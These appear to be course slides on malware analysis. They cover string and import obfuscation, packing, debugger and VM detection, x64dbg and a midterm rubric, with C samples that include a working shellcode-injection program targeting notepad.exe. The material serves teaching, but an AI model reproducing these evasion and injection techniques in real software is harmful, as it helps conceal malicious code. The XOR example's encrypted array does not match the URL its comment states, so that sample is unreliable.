Week 8

Please sit on the right half of the room

--->

Hindering Static Analysis

What is obfuscation?

Obfuscation: Techniques used by malware or other software to obscure aspects of its functionality.

  • Common categories of obfuscation include:
    • Data: Encrypting strings or or other data
    • Code: Dead code insertion, code encryption, packing, self-modifying code

Data Obfuscation

Data Obfuscation

#include <windows.h>
#include <wininet.h>
#include <stdio.h>

// Simple XOR decryption function
void decryptURL(char* encryptedURL, char* decryptedURL, char key) {
    int i;
    for (i = 0; encryptedURL[i] != '\0'; i++) {
        decryptedURL[i] = encryptedURL[i] ^ key;
    }
    decryptedURL[i] = '\0'; // Null-terminate the decrypted URL
}

int main() {
    // Encrypted URL using XOR encryption (this is just for demonstration purposes)
    char encryptedURL[] = { 'X', 'T', 'O', 'J', 'B', ':', '/', '/', 't', 'u', 'd', 'w', 'g', '.', 'z', 'r', 'x', '\0' }; // Encrypted form of "https://www.example.com"
    char decryptedURL[256]; // Buffer to hold the decrypted URL
    char key = 0x42; // XOR key used for encryption/decryption

    // Decrypt the URL
    decryptURL(encryptedURL, decryptedURL, key);

    // Output the decrypted URL for verification
    printf("Decrypted URL: %s\n", decryptedURL);

    // Initialize the WinINet API
    HINTERNET hInternet = InternetOpenA("URL Decryptor", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hInternet == NULL) {
        printf("InternetOpenA failed with error: %ld\n", GetLastError());
        return 1;
    }

    // Open the decrypted URL using the WinINet API
    HINTERNET hUrl = InternetOpenUrlA(hInternet, decryptedURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hUrl == NULL) {
        printf("InternetOpenUrlA failed with error: %ld\n", GetLastError());
        InternetCloseHandle(hInternet); // Close the Internet handle before exiting
        return 1;
    }

    printf("URL opened successfully.\n");

    // Clean up the handles
    InternetCloseHandle(hUrl);
    InternetCloseHandle(hInternet);

    return 0;
}

Code Obfuscation

  • Self-modifying code
    • Makes analysis more difficult
    • Changes signatures (polymorphic code)
  • Dynamically resolving imports
  • Dead code insertion

Imports tell the OS which libraries to load

Import Obfuscation

#include <windows.h>
#include <stdio.h>

// Function pointers for dynamically loaded functions
typedef HINTERNET (WINAPI *InternetOpenA_t)(LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD);
typedef HINTERNET (WINAPI *InternetOpenUrlA_t)(HINTERNET, LPCSTR, LPCSTR, DWORD, DWORD, DWORD);
typedef BOOL (WINAPI *InternetCloseHandle_t)(HINTERNET);

// Simple XOR decryption function
void decryptURL(char* encryptedURL, char* decryptedURL, char key) {
    int i;
    for (i = 0; encryptedURL[i] != '\0'; i++) {
        decryptedURL[i] = encryptedURL[i] ^ key;
    }
    decryptedURL[i] = '\0'; // Null-terminate the decrypted URL
}

int main() {
    // Encrypted URL using XOR encryption (this is just for demonstration purposes)
    char encryptedURL[] = { 'X', 'T', 'O', 'J', 'B', ':', '/', '/', 't', 'u', 'd', 'w', 'g', '.', 'z', 'r', 'x', '\0' }; // Encrypted form of "https://www.example.com"
    char decryptedURL[256]; // Buffer to hold the decrypted URL
    char key = 0x42; // XOR key used for encryption/decryption

    // Decrypt the URL
    decryptURL(encryptedURL, decryptedURL, key);

    // Output the decrypted URL for verification
    printf("Decrypted URL: %s\n", decryptedURL);

    // Load wininet.dll dynamically
    HMODULE hWininet = LoadLibraryA("wininet.dll");
    if (hWininet == NULL) {
        printf("Failed to load wininet.dll. Error: %ld\n", GetLastError());
        return 1;
    }

    // Resolve the addresses of the functions dynamically
    InternetOpenA_t InternetOpenA = (InternetOpenA_t)GetProcAddress(hWininet, "InternetOpenA");
    InternetOpenUrlA_t InternetOpenUrlA = (InternetOpenUrlA_t)GetProcAddress(hWininet, "InternetOpenUrlA");
    InternetCloseHandle_t InternetCloseHandle = (InternetCloseHandle_t)GetProcAddress(hWininet, "InternetCloseHandle");

    if (!InternetOpenA || !InternetOpenUrlA || !InternetCloseHandle) {
        printf("Failed to resolve one or more functions in wininet.dll. Error: %ld\n", GetLastError());
        FreeLibrary(hWininet); // Clean up
        return 1;
    }

    // Initialize the WinINet API using the dynamically loaded InternetOpenA
    HINTERNET hInternet = InternetOpenA("URL Decryptor", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hInternet == NULL) {
        printf("InternetOpenA failed with error: %ld\n", GetLastError());
        FreeLibrary(hWininet); // Clean up
        return 1;
    }

    // Open the decrypted URL using the dynamically loaded InternetOpenUrlA
    HINTERNET hUrl = InternetOpenUrlA(hInternet, decryptedURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hUrl == NULL) {
        printf("InternetOpenUrlA failed with error: %ld\n", GetLastError());
        InternetCloseHandle(hInternet); // Close the Internet handle
        FreeLibrary(hWininet); // Clean up
        return 1;
    }

    printf("URL opened successfully.\n");

    // Clean up the handles
    InternetCloseHandle(hUrl);
    InternetCloseHandle(hInternet);
    FreeLibrary(hWininet); // Unload the DLL

    return 0;
}

Code Obfuscation

Hides these

Dead Code Insertion

Dead Code Insertion

30:21

Code Obfuscation

Packing

  • Encrypt the executable instructions at compile time and store them in a data section
  • At runtime, the binary should load this data, decrypt it, and then execute it
  • This hides the instructions from static analysis
  • The only code easily accessible to the reverse engineer is the "stub", the bit of code that does the unpacking

Questions?

Hindering Dynamic Analysis

Anti-Debugging Tricks

  • Insert a delay (e.g. for 10 minutes) before functionality is run
  • Wait until a certain day/time
  • Check for a debugger or a virtual machine
#include <windows.h>
#include <stdio.h>

int checkIfBeingDebugged() {
    if (IsDebuggerPresent()) {
        printf("Debugger detected\n");
        return 1;
    } else {
        printf("No debugger detected.\n");
        return 0;
    }
}
#include <windows.h>
#include <stdio.h>
#include <intrin.h> // For __cpuid intrinsic

void checkIfRunningInVM() {
    int cpuInfo[4] = {0};
    
    // Execute the CPUID instruction with EAX=1
    __cpuid(cpuInfo, 1);
    
    // Check for hypervisor bit (bit 31 of ECX register)
    if (cpuInfo[2] & (1 << 31)) {
        printf("Virtual machine detected.\n");
    } else {
        printf("No virtual machine detected.\n");
    }
}

Code Injection

Run malicious code inside a benign process

  • Open process memory for read/write
  • Write shellcode to process
  • Create thread in target process to execute it
#include <windows.h>
#include <stdio.h>

// A simple MessageBox shellcode (x86)
unsigned char shellcode[] = 
"\x31\xc0"                      // xor eax, eax
"\x50"                          // push eax
"\x68\x62\x6F\x78\x20"          // push "box "
"\x68\x4D\x65\x73\x73"          // push "Mess"
"\x8B\xC4"                      // mov eax, esp
"\x50"                          // push eax
"\x6A\x00"                      // push 0
"\x6A\x00"                      // push 0
"\xFF\x15\x30\x30\x40\x00";      // call dword ptr ds:[0x00403030] (MessageBoxA address)

// Function to inject shellcode into a target process
int injectShellcode(HANDLE hProcess) {
    LPVOID remoteMemory = NULL;
    SIZE_T shellcodeSize = sizeof(shellcode);

    // Allocate memory in the target process for the shellcode
    remoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remoteMemory) {
        printf("VirtualAllocEx failed with error: %ld\n", GetLastError());
        return 1;
    }

    // Write the shellcode into the allocated memory
    if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL)) {
        printf("WriteProcessMemory failed with error: %ld\n", GetLastError());
        return 1;
    }

    // Create a remote thread to execute the shellcode
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
    if (!hThread) {
        printf("CreateRemoteThread failed with error: %ld\n", GetLastError());
        return 1;
    }

    // Wait for the thread to finish
    WaitForSingleObject(hThread, INFINITE);

    // Close the thread handle
    CloseHandle(hThread);

    return 0;
}

int main() {
    // Create a target process (notepad.exe in this example)
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcessA failed with error: %ld\n", GetLastError());
        return 1;
    }

    // Inject shellcode into the process
    if (injectShellcode(pi.hProcess) != 0) {
        printf("Shellcode injection failed.\n");
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }

    // Resume the process (it will execute the injected shellcode)
    ResumeThread(pi.hThread);

    // Wait for the process to exit
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Clean up
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

Questions?

x64dbg

x64dbg

x64dbg: Open-source debugger for user-mode Windows apps

Features include:

  • Starting/attaching to processes
  • Breakpoint insertion
  • User interface for displaying useful information
    • Stack
    • Registers
    • Disassembly (linear and graph)

Alternatives: WinDbg

x64dbg

Disassembly

Hex Dump

Registers

Stack

Other Views

Start/Stop/Breakpoint

Questions?

Lab 1

Packing

Lab 2

More obfuscation

Midterm Notes

Midterm Rubric

Category Description %
Identification Identify the type and/or family of malware 10%
Tool Usage Demonstrate an understanding of relevant RE tools 20%
Analysis Identify key functionality like payloads or persistence mechanisms 30%
Synthesis Demonstrate a high-level understanding of the malware's purpose 10%
Mitigations Recommend malware signatures and mitigations 10%
Delivery Presentation clarity and comprehensiveness 20%

Signatures

  • Unique Data: URLs, messages for the user, developer information, etc.
  • Network Activity: Indicators within a network that a system is infected. These might be detected with Wireshark.
  • Persistence Mechanisms: Registry keys it sets, services it creates, etc


Signatures are used to 

A signature is some identifier that can be used to identify a malware sample.

Persistence

  • Windows Services: Designed to run in the background and automatically start with the system
  • DLL Hijacking: Replace a legitimate DLL on a system so the malicious one is loaded when the application starts
  • Registry Modifications: Some keys run every time a user logs in
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • There's no canonical list of techniques. You'll have to think about the functionality you find in your sample and if it qualifies as persistence

How malware maintains a presence in systems even after reboots, software updates, or other system changes.